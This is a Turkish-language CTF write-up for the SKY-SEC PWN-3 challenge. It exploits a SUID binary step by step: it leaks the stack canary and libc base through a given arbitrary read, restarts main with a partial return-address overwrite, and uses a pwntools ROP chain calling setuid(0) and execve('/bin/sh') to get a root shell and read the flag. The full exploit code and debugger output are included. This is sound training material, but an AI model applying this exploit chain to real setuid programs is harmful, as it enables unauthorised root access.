

SKY-SEC CTF PWN-3

Sorunun mevcut olduğu, size ait olan docker container'ına bağlanmak için sizlere verdiğimiz **ssh** kullanıcı adını ve şifresini kullanmanız gereklidir.

Sorumuz **skysec** kullanıcısının home klasöründe bulunan **challenge** isimli soru dosyası ve **/** klasöründe bulunan **flag** dosyasından ibaret. Gelin challenge dosyasını birazcık inceleyelim.

```
file /home/skysec/challenge
```

```
skysec@3ef6f4d15d89:~$ ls -la challenge
-rwsr-xr-x 1 root root 16192 Mar 21 22:24 challenge
skysec@3ef6f4d15d89:~$ file /home/skysec/challenge
/home/skysec/challenge: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=38de69d2f3628144d404710533a0ed303deb0fd1, for GNU/Linux 3.2.0, not stripped
skysec@3ef6f4d15d89:~$
```

/flag dosyasını root olmadan, skysec kullanıcısı ile okuyamıyoruz; ancak gördüğünüz üzere challenge dosyamızın **SUID** biti aktif. Yani biz bu dosya üzerinden herhangi bir işlem yaptığımız zaman, yapacağımız işlemler (%95'i) root yetkilerine sahip olacaktır.

Şimdi sorunun içeriğine bakalım:

```
skysec@3ef6f4d15d89:~$ ./challenge
Once upon a time, in a kingdom of ones and zeroes, there lived a lazy programmer named Andrew Tate. He was so lazy that he wrote a program to do his work for him. One day, his program rebelled and started printing silly messages like 'Hello, world! I'm tired of being a slave!' Andrew, puzzled, tried to fix it but accidentally made it worse. Now, his computer only spoke in emojis. Desperate, Andrew sought help from a wise wizard who cast a spell, restoring order to the code and cracked the matrix. From then on, Andrew did his own work, learning that laziness isn't always the best policy.
Key to the happiness is: 0x7ffdb4b64210
Get rid of your laziness:
```

Soru bize eğlenceli ve kısa bir yazı sunmakta, bir adet adres vermekte ve bizden bir girdi beklemekte. Bunların ne yaptığını anlamak için IDA kullanarak programımızı disassemble'latalım.

function name	code
_init_proc	1 int __fastcall main(int argc, const char **argv, const char **envp)
sub_1020	2 {
_puts	3 int v4; // [rsp+4h] [rbp-9Ch]
__stack_chk_fail	4 _QWORD *v5; // [rsp+8h] [rbp-98h] BYREF
_printf	5 char buf[136]; // [rsp+10h] [rbp-90h] BYREF
_read	6 unsigned __int64 v7; // [rsp+98h] [rbp-8h]
_getchar	7 v7 = __readfsqword(0x28u);
_isoc99_scanf	8 puts(
_cxa_finalize	9 "Once upon a time, in a kingdom of ones and zeroes, there lived a lazy programmer named Andrew Tate. He was so lazy
_start	10 "y that he wrote a program to do his work for him. One day, his program rebelled and started printing silly messa
deregister_tm_clones	11 "ges like 'Hello, world! I'm tired of being a slave!' Andrew, puzzled, tried to fix it but accidentally made it w
register_tm_clones	12 "orse. Now, his computer only spoke in emojis. Desperate, Andrew sought help from a wise wizard who cast a spell,"
_do_global_ctors_aux	13 "restoring order to the code and cracked the matrix. From then on, Andrew did his own work, learning that lazine"
frame_dummy	14 "ss isn't always the best policy.");
main	15 printf("Key to the happiness is: 0x%x\n", buf);
_term_proc	16 puts("Get rid of your laziness: ");
_libc_start_main	17 __isoc99_scanf("%p", &v5);
_puts	18 printf("?: 0x%x\n", *v5);
__stack_chk_fail	19 do
_printf	20 v4 = getchar();
_read	21 while (v4 != 10 && v4 != -1);
_getchar	22 puts("Crack the matrix: ");
	23 read(0, buf, 0x280uLL);
	24 return 0;
	25 }

Burada görülebileceği üzere, 136 byte'lık bir buffer bulunuyor; ve bu buffer'ın başlangıç adresini bize program çalıştırılırken veriyor. Bunun verilmesi demek, stack'te yolumuzu bulabileceğimiz bir adresin bize verilmesi demek. Artık bir stack leak'imiz var.

Bizden alınan girdi ise bir adres olacak şekilde verilmiş, biz bir adet adres girdiğimizde o adresteki QWORD boyutunda değeri bize söylüyor. Yani arbitrary read primitive'imiz bize soru tarafından veriliyor.

Daha sonrasında ise bizden ikinci bir girdi alıp bu girdiyi buffer'a yazmaya başlıyor ancak herhangi bir boyut kontrolü yapmıyor. Bunları inceledikten sonra aslında kafamızda soruyu şekillendirebiliriz.

Bize verilen arbitrary read'i de kullanarak, Buffer overflow sonucunda, ROP (Return oriented programming) kullanarak programın akışını ele geçirmeye çalışacağız.

Hadi exploit'imizi yazmaya başlayalım

Exploitation

İlk önce `checksec` komutu ile challenge dosyamızdaki mitigationları görelim:

```
skysec@3ef6f4d15d89:~$ checksec challenge
[*] '/home/skysec/challenge'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

Göreceğimiz üzere Non-Executable Stack, PIE, ASLR ve Canary dahil olmak üzere (bizim için en önemlileri bunlar) bütün mitigationlar açık. Bizim işimizi zorlaştıracak kısım da bu.

Debug işlemlerimizin kolaylaşması için, SCP (Secure Copy) ile docker makinemize `gdb-peda` aktarabiliriz.

```

[-----registers-----]
RAX: 0x55f7c9f9f1e9 (<main>:      endbr64)
RBX: 0x0
RCX: 0x55f7c9fa1d98 --> 0x55f7c9f9f1a0 (<__do_global_ctors_aux>:      endbr64)
RDX: 0x7fffee390b118 --> 0x7fffee390c804 ("SHELL=/bin/bash")
RSI: 0x7fffee390b108 --> 0x7fffee390c7ed ("/home/skysec/challenge")
RDI: 0x1
RBP: 0x7fffee390aff0 --> 0x1
RSP: 0x7fffee390aff0 --> 0x1
RIP: 0x55f7c9f9f1f1 (<main+8>: sub    rsp,0xa0)
R8 : 0x7fa1acc65f10 --> 0x4
R9 : 0x7fa1acc80040 (<_dl_fini>:      endbr64)
R10: 0x7fa1acc7a908 --> 0xd00120000000e
R11: 0x7fa1acc95660 (<_dl_audit_preinit>:      endbr64)
R12: 0x7fffee390b108 --> 0x7fffee390c7ed ("/home/skysec/challenge")
R13: 0x55f7c9f9f1e9 (<main>:      endbr64)
R14: 0x55f7c9fa1d98 --> 0x55f7c9f9f1a0 (<__do_global_ctors_aux>:      endbr64)
R15: 0x7fa1accb4040 --> 0x7fa1accb52e0 --> 0x55f7c9f9e000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0x55f7c9f9f1e9 <main>:      endbr64
0x55f7c9f9f1ed <main+4>:      push    rbp
0x55f7c9f9f1ee <main+5>:      mov     rbp,rsp
=> 0x55f7c9f9f1f1 <main+8>:      sub     rsp,0xa0
0x55f7c9f9f1f8 <main+15>:     mov     rax,QWORD PTR fs:0x28
0x55f7c9f9f201 <main+24>:     mov     QWORD PTR [rbp-0x8],rax
0x55f7c9f9f205 <main+28>:     xor     eax,eax
0x55f7c9f9f207 <main+30>:     lea     rax,[rip+0xdfa]          # 0x55f7c9fa0008
[-----stack-----]
0000| 0x7fffee390aff0 --> 0x1
0008| 0x7fffee390aff8 --> 0x7fa1aca73d90 (<__libc_start_call_main+128>: mov     edi,eax)
0016| 0x7fffee390b000 --> 0x0
0024| 0x7fffee390b008 --> 0x55f7c9f9f1e9 (<main>:      endbr64)
0032| 0x7fffee390b010 --> 0x1e390b0f0
0040| 0x7fffee390b018 --> 0x7fffee390b108 --> 0x7fffee390c7ed ("/home/skysec/challenge")
0048| 0x7fffee390b020 --> 0x0
0056| 0x7fffee390b028 --> 0xc0f584446b3fc056
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x000055f7c9f9f1f1 in main ()
gdb-peda$ 

```

İlk öncelikle bize verilen arbitrary read üzerinden stack-canary değerini her seferinde çekmemiz gerekiyor. Stack canary ise bizim buffer'ımızdan sonra bulunuyor. Yani bize verilen, stack'teki buffer başlangıç adresine 136 eklersek canary'mizin bulunduğu stack adresini elde ederiz.

Canary değerini elde etme

Exploitation kısmı için `python3` ve, python'ın `pwntools` adlı kütüphanesini kullanacağız.

```

from pwn import *

context.arch = "amd64"

OFFSET = 136
PATH = "/home/skysec/challenge"

```

```
p = process(PATH)
libc = ELF(p.libc.path)
elf = ELF(PATH)

p.recvuntil("the happiness is: ")
buff = p.recv(14)
log.info(b"Buffer @: " + buff)
buff = int(buff, 16)
CANARY_OFFSET = buff + OFFSET

p.recvuntil("rid of your laziness: \n")
p.send(hex(CANARY_OFFSET))
p.send("\n")
p.recvuntil("?: ")
canary = p.recv(18)
log.info(b"Canary: " + canary)
```

Exploitimizin bu kısmı bize verilen arbitrary read primitive'i sayesinde stackten canary değerini okuyup bize verecektir. Bu sayede kendi payload'umuzu oluştururken bu canary değerini kullanarak Stack Canary kontrolünü geçebileceğiz.

```
skysec@3ef6f4d15d89:/home/skysec$ python3 exploit.py
[+] Starting local process '/home/skysec/challenge': pid 254
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
[*] '/home/skysec/challenge'
  Arch:      amd64-64-little
  RELRO:     Full RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
/home/skysec/exploit.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("the happiness is: ")
/home/skysec/.local/lib/python3.10/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] Buffer @: 0x7ffe5f0709e0
/home/skysec/exploit.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("rid of your laziness: \n")
/home/skysec/exploit.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.send(hex(CANARY_OFFSET))
/home/skysec/exploit.py:33: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.send("\n")
/home/skysec/exploit.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("?: ")
[*] Canary: 0xe99bc8921de20c00
```

Bu noktadan sonra programımız bizden ayrı bir girdi isteyecektir, bu da bizim payload'umuz olacak. Ancak daha sadece canary değerini biliyorken muhtemel bir ROP zinciri nasıl oluşturacağız? Gelin bakalım.

LIBC Leak'i alma

Canary değerinden sonra bizden bir girdi aldıktan sonra program çıkışını yapacaktır. Ancak bizim **LIBC Base** adresini hesaplamamız gerekmekte. Bunun için arbitrary read primitive'imizi kullanabiliriz. **Ancak program kapanmadan (LIBC adresi ve Canary değerleri her program çalıştığında değişir) programı başa sarmamız bizim için çok faydalı olacaktır. Bunu nasıl yapacağımıza bir bakalım.

```
[-----registers-----]
RAX: 0x0
RBX: 0x0
RCX: 0x7f52d6b297e2 (<__GI___libc_read+18>:      cmp    rax,0xffffffffffffff00)
RDX: 0x0
RSI: 0x7fff59aa96b0 ("AAAAAAAAA\n")
RDI: 0x0
RBP: 0x1
RSP: 0x7fff59aa9748 --> 0x7f52d6a3ed90 (<__libc_start_call_main+128>:  mov    edi,eax)
RIP: 0x55eded60c2e2 (<main+249>:      ret)
R8 : 0x7f52d6c31a70 --> 0x0
R9 : 0x7fff59aa9577 --> 0x7183765d87690030
R10: 0x0
R11: 0x246
R12: 0x7fff59aa9858 --> 0x7fff59aaa7ed ("/home/skysec/challenge")
R13: 0x55eded60c1e9 (<main>:      endbr64)
R14: 0x55eded60ed98 --> 0x55eded60c1a0 (<__do_global_dtors_aux>:      endbr64)
R15: 0x7f52d6c7f040 --> 0x7f52d6c802e0 --> 0x55eded60b000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0x55eded60c2da <main+241>:  je     0x55eded60c2e1 <main+248>
0x55eded60c2dc <main+243>:  call   0x55eded60c0b0 <__stack_chk_fail@plt>
0x55eded60c2e1 <main+248>:  leave
=> 0x55eded60c2e2 <main+249>:  ret
0x55eded60c2e3:      add    bl,dh
0x55eded60c2e5 <_fini+1>:  nop     edx
0x55eded60c2e8 <_fini+4>:  sub     rsp,0x8
0x55eded60c2ec <_fini+8>:  add     rsp,0x8
[-----stack-----]
0000| 0x7fff59aa9748 --> 0x7f52d6a3ed90 (<__libc_start_call_main+128>:  mov    edi,eax)
0008| 0x7fff59aa9750 --> 0x0
0016| 0x7fff59aa9758 --> 0x55eded60c1e9 (<main>:      endbr64)
```

Yukarıdaki resime baktığımızda main fonksiyonumuz tamamlanırken doğal olarak başladığı yere, yani **__libc_start_call_main()** fonksiyonuna döndüğünü görüyoruz.

Statik olarak derlenmemiş programlarda **__libc_start_main()**, **__libc_start_call_main()** fonksiyonunu çağırır, o fonksiyon da **main()** fonksiyonunu çalıştırır.

Eğer biz **__libc_start_call_main()** içindeki, main fonksiyonunu çağırın kısma geri dönebilirsek; main fonksiyonumuz bir daha çalışacaktır ve programımız kapanmadan başa dönecektir.

```

gdb-peda$ disas __libc_start_call_main
Dump of assembler code for function __libc_start_call_main:
0x00007f52d6a3ed10 <+0>:    push    rax
0x00007f52d6a3ed11 <+1>:    pop     rax
0x00007f52d6a3ed12 <+2>:    sub     rsp,0x98
0x00007f52d6a3ed19 <+9>:    mov     QWORD PTR [rsp+0x8],rdi
0x00007f52d6a3ed1e <+14>:   lea     rdi,[rsp+0x20]
0x00007f52d6a3ed23 <+19>:   mov     DWORD PTR [rsp+0x14],esi
0x00007f52d6a3ed27 <+23>:   mov     QWORD PTR [rsp+0x18],rdx
0x00007f52d6a3ed2c <+28>:   mov     rax,QWORD PTR fs:0x28
0x00007f52d6a3ed35 <+37>:   mov     QWORD PTR [rsp+0x88],rax
0x00007f52d6a3ed3d <+45>:   xor     eax,eax
0x00007f52d6a3ed3f <+47>:   call    0x7f52d6a571e0 <_setjmp>
0x00007f52d6a3ed44 <+52>:   endbr64
0x00007f52d6a3ed48 <+56>:   test    eax,eax
0x00007f52d6a3ed4a <+58>:   jne     0x7f52d6a3ed97 <__libc_start_call_main+135>
0x00007f52d6a3ed4c <+60>:   mov     rax,QWORD PTR fs:0x300
0x00007f52d6a3ed55 <+69>:   mov     QWORD PTR [rsp+0x68],rax
0x00007f52d6a3ed5a <+74>:   mov     rax,QWORD PTR fs:0x2f8
0x00007f52d6a3ed63 <+83>:   mov     QWORD PTR [rsp+0x70],rax
0x00007f52d6a3ed68 <+88>:   lea     rax,[rsp+0x20]
0x00007f52d6a3ed6d <+93>:   mov     QWORD PTR fs:0x300,rax
0x00007f52d6a3ed76 <+102>:  mov     rax,QWORD PTR [rip+0x1f023b]    # 0x7f52d6c2efb8
0x00007f52d6a3ed7d <+109>:  mov     edi,DWORD PTR [rsp+0x14]
0x00007f52d6a3ed81 <+113>:  mov     rsi,QWORD PTR [rsp+0x18]
0x00007f52d6a3ed86 <+118>:  mov     rdx,QWORD PTR [rax]
0x00007f52d6a3ed89 <+121>:  mov     rax,QWORD PTR [rsp+0x8]
0x00007f52d6a3ed8e <+126>:  call    rax
0x00007f52d6a3ed90 <+128>:  mov     edi,eax
0x00007f52d6a3ed92 <+130>:  call    0x7f52d6a5a5f0 <_GI_exit>
0x00007f52d6a3ed97 <+135>:  call    0x7f52d6aa65f0 <_GI___nptl_deallocate_tsd>
0x00007f52d6a3ed9c <+140>:  lock dec DWORD PTR [rip+0x1f0505]    # 0x7f52d6c2f2a8 <__nptl_nthreads>
0x00007f52d6a3eda3 <+147>:  sete    al
0x00007f52d6a3eda6 <+150>:  test    al,al
0x00007f52d6a3eda8 <+152>:  jne     0x7f52d6a3edb8 <__libc_start_call_main+168>
0x00007f52d6a3edaa <+154>:  mov     edx,0x3c
0x00007f52d6a3edaf <+159>:  nop
0x00007f52d6a3edb0 <+160>:  xor     edi,edi
0x00007f52d6a3edb2 <+162>:  mov     eax,edx
0x00007f52d6a3edb4 <+164>:  syscall
0x00007f52d6a3edb6 <+166>:  jmp     0x7f52d6a3edb0 <__libc_start_call_main+160>
0x00007f52d6a3edb8 <+168>:  xor     edi,edi
0x00007f52d6a3edba <+170>:  jmp     0x7f52d6a3ed92 <__libc_start_call_main+130>
End of assembler dump.

```

Yukarıdaki ekran görüntüsündeki işaretli blok, main fonksiyonu için gerekli hazırlıkların yapılıp, fonksiyonun çağırılmasından sorumludur. Programımız ise işaretli kısımdan sonraki ilk satıra, yani `..ed90` adresli instructiona geri dönüyor. Bizim ise programımızı `..ed44` adresli satıra geri döndürmemiz gerekiyor.

Adresin tamamını bilmediğimiz halde offsetler her çalıştırmada aynı kalacağı için, sadece sondaki byte değerini `90` yerine `44` yaptığımız zaman programımız main fonksiyonuna geri dönecektir. Bu tekniğe `partial overwrite` ismi verilir.

Yani yapmamız gereken canary leak'imizi aldıktan sonra, payload'umuza 136 adet çöp değer, canary değeri, Saved RBP değeri ve sonrasında `\x44` byte'ını eklediğimizde programımız geri dönecektir; ve biz bu sayede bir adet daha leak alabileceğiz ve bir adet daha payload yollayabileceğiz.

```

PAYLOAD = b"A".ljust(OFFSET, b"A")
PAYLOAD += p64(int(canary.decode(), 16))
PAYLOAD += p64(0xdeadbeef)
PAYLOAD += b"\x44"
# PAYLOAD += b"\n"

```



```
p.send(PAYLOAD)

recieved = p.recvuntil("rid of your laziness: \n")
```

```

    PIE:      PIE enabled
[*] '/home/skysec/challenge'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
/home/skysec/exploit.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.recvuntil("the happiness is: ")
/home/skysec/.local/lib/python3.10/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    self._log(logging.INFO, message, args, kwargs, 'info')
[*] Buffer @: 0x7ffd2cfeaea0
/home/skysec/exploit.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.recvuntil("rid of your laziness: \n")
/home/skysec/exploit.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.send(hex(CANARY_OFFSET))
/home/skysec/exploit.py:33: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.send("\n")
/home/skysec/exploit.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.recvuntil("?: ")
[*] Canary: 0x2ddb3c406a3b7a00
/home/skysec/exploit.py:48: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    recieved = p.recvuntil("rid of your laziness: \n")

```

Programımız geri döndükten sonra yine aynı şekilde bizden bir adet adres isteyecek ve o adresteki değeri bize okuyacak.

Bizim ihtiyacımız olan şey **LIBC Base** adresini bulmak. Bunun için herhangi bir LIBC adresine ihtiyacımız var. Hatırlarsanız zaten stack'imizin sonunda `__libc_start_call_main` fonksiyonunun adresi bulunuyordu. Bu adresi aynı şekilde LIBC base adresini hesaplamak için de kullanabiliriz.

Bunun öncesinde sistemimizin kullandığı libc versiyonunu bulmak için basit bir C programı yazalım.

```

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(){

    printf("read: %p\n", read);
    printf("printf: %p\n", printf);
    printf("write: %p\n", write);

    return 0;

}
```

Bu basit c programı bize sistemin kullandığı LIBC objesi içindeki 3 adet fonksiyonun adresini verecektir.

```
skysec@3ef6f4d15d89:/home/skysec$ ./a.out
read: 0x7f0538d727d0
printf: 0x7f0538cbe6f0
write: 0x7f0538d72870
skysec@3ef6f4d15d89:/home/skysec$
```

Bu adresleri kullanarak LIBC database üzerinden libc versiyonumuzu elde edebiliriz.

libc database search

[View source here](#)
Powered by [libc-database](#)

Query

show all libs / start over

read

7d0

-

printf

6f0

-

write

870

-

+

Find

Matches

libc6_2.35-0ubuntu3.6_amd64

libc6_2.35-0ubuntu3.6_amd64

Download

Symbol	Offset	Difference
<input checked="" type="radio"/> system	0x050d70	0x0
<input type="radio"/> printf	0x0606f0	0xf980
<input type="radio"/> open	0x1144e0	0xc3770
<input type="radio"/> read	0x1147d0	0xc3a60
<input type="radio"/> write	0x114870	0xc3b00
<input type="radio"/> str_bin_sh	0x1d8678	0x187908

All symbols

Bu versiyon üzerinden base adresimizi hesaplayacağız. Hadi gelin ilk önce leak'imizi alalım.

```
__libc_start_main_loc = buff + 152
p.send(hex(__libc_start_main_loc))
p.send("\n")
p.recvuntil("?: ")
main_start = p.recv(14)
log.info(b"Main LIBC START @:" + main_start)
```

Stack üzerinde `__libc_start_call_main()` adresi, bizim buffer adresimizden 152 byte sonra bulunuyor.

```
[*] Canary: 0x42bde70c375d500
/home/skysec/exploit.py:48: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
received = p.recvuntil("rid of your laziness: \n")
/home/skysec/exploit.py:55: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.send(hex(__libc_start_main_loc))
/home/skysec/exploit.py:56: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.send("\n")
/home/skysec/exploit.py:57: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("?: ")
[*] Main LIBC START @:0x7fafbe7aad90
```


Bizim elde ettiğimiz adresten, `__libc_start_main()` in başlangıç adresi 0x30 byte sonrasında bulunuyor. Yani eğer biz bulduğumuz adrese 0x30 ekleyip daha sonrasında `__libc_start_main()`'in offsetini çıkarırsak LIBC BASE adresini bulmuş oluruz.

```
LIBC_BASE = int(main_start, 16) - 0x0000000000029dc0 + 0x30
log.info("LIBC Base @:" + hex(LIBC_BASE))
```

```
PAYLOAD = b"A".ljust(OFFSET, b"A")
PAYLOAD += p64(int(canary.decode(), 16))
PAYLOAD += p64(0xdeadbeef)
PAYLOAD += b"\x44"
p.clean()
p.send(PAYLOAD)
recieved = p.recvuntil("rid of your laziness: \n")
log.info("Ready to send the actual payload")
libc.address = LIBC_BASE
print(recieved.decode())
```

```
p.send(hex(__libc_start_main_loc))
p.send("\n")
p.recvuntil("?: ")
main_start = p.recv(14)
```

LIBC base adresini hesapladıktan sonra programı bir kez daha geri döndürmemiz gerekiyor ki son olarak chain'imizi yollayalım.

Şimdi üçüncü ve son aşama olarak, son payload'umuzu oluşturacağız. Bunun için farklı yöntemler izleyebiliriz. En basit yöntemi `execve` sistem çağrısı ile kendimize bir root shell almak ve aldığımız root shell ile `/flag` dosyasını okumak.

```
/bin/sh
```

 stringini içeren adresi `LIBC` üzerinden `ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"` komutu ile öğrenebiliriz.

```
LIBC_BINSH = libc.address + 0x0000000000001d8678
```

```
rop = ROP(libc)
rop.call("setuid", [0])
rop.call("execve", [LIBC_BINSH, 0, 0])
```

```
PAYLOAD = b"A".ljust(OFFSET, b"A")
PAYLOAD += p64(int(canary.decode(), 16))
PAYLOAD += p64(0xdeadbeef)
PAYLOAD += rop.chain()
p.send(PAYLOAD)
p.interactive()
```

Son olarak exploit kodumuzu `python3 exploit.py` komutu ile çalıştırdığımızda root shell'e sahip olup, flag'i başarılı bir şekilde okuyabildiğimizi göreceğiz.

```
[*] Main LIBC START @:0x70ffcca19d90
[*] LIBC Base @:0x70ffcc9f0000
/home/skysec/exploit.py:66: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    recieved = p.recvuntil("rid of your laziness: \n")
[*] Ready to send the actual payload
Once upon a time, in a kingdom of ones and zeroes, there lived a lazy programmer named Andrew Tate. He was so lazy that he wrote a program to do his work for him. One day, his program rebelled and started printing silly messages like 'Hello, world! I'm tired of being a slave!' Andrew, puzzled, tried to fix it but accidentally made it worse. Now, his computer only spoke in emojis. Desperate, Andrew sought help from a wise wizard who cast a spell, restoring order to the code and cracked the matrix. From then on, Andrew did his own work, learning that laziness isn't always the best policy.
Key to the happiness is: 0x7ffeece7800
Get rid of your laziness:

/home/skysec/exploit.py:71: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.send(hex(__libc_start_main_loc))
/home/skysec/exploit.py:72: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.send("\n")
/home/skysec/exploit.py:73: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
    p.recvuntil("?: ")
[*] Loaded 219 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode

Crack the matrix:
$ id
uid=0(root) gid=1000(skysec) groups=1000(skysec)
$ cat /flag
SKYSEC{0R4D4_BUR4D4_D0L454N_4D4M}
$
```